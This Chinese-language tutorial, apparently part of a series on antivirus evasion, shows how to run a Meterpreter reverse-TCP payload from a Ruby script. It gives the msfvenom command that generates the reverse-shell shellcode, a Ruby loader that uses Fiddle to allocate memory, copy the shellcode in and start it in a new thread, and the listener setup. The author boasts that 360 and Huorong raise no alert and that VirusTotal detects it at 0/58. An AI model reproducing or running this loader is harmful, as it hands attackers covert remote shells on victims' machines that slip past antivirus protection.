当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 Ruby加载shellcode介绍
0x02 Ruby嵌入shellcode(VT查杀率0/58)
免杀能力一览表
Ruby做免杀的不是很多,目前好像只遇到专题5中介绍的veil使用了ruby编译exe来进行免杀,目前也没发现基于ruby的shellcode加载器,只找到了一种ruby嵌入shellcode的代码。
先用Msfvenom生成基于ruby的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f ruby
ruby源码:
require 'fiddle'
require 'fiddle/import'
require 'fiddle/types'
shellcode = ""
include Fiddle
kernel32 = Fiddle.dlopen('kernel32')
ptr = Function.new(kernel32['VirtualAlloc'], [4,4,4,4], 4).call(0, shellcode.size, 0x3000, 0x40)
Function.new(kernel32['VirtualProtect'], [4,4,4,4], 4).call(ptr, shellcode.size, 0, 0)
buf = Fiddle::Pointer[shellcode]
Function.new(kernel32['RtlMoveMemory'], [4, 4, 4],4).call(ptr, buf, shellcode.size)
thread = Function.new(kernel32['CreateThread'],[4,4,4,4,4,4], 4).call(0, 0, ptr, 0, 0, 0)
Function.new(kernel32['WaitForSingleObject'], [4,4], 4).call(thread, ‐1)
将msfvenom生成的shellcode稍微转换后,写入代码中。
使用命令ruby shell.rb
执行,360和火绒没有异常行为报警。
msf中设置payloadwindows/x64/meterpreter/reverse_tcp
进行监听
virustotal.com中shell.rb
文件的查杀率为0/58
参考链接:
payload免杀:https://www.cnblogs.com/LyShark/p/11331476.html
基于Ruby内存加载shellcode:https://micro8.gitbook.io/micro8/contents-1/61-70/68-ji-yu-ruby-nei-cun-jia-zai-shellcode-di-yi-ji
虽然我们生活在阴沟里,但依然有人仰望星空!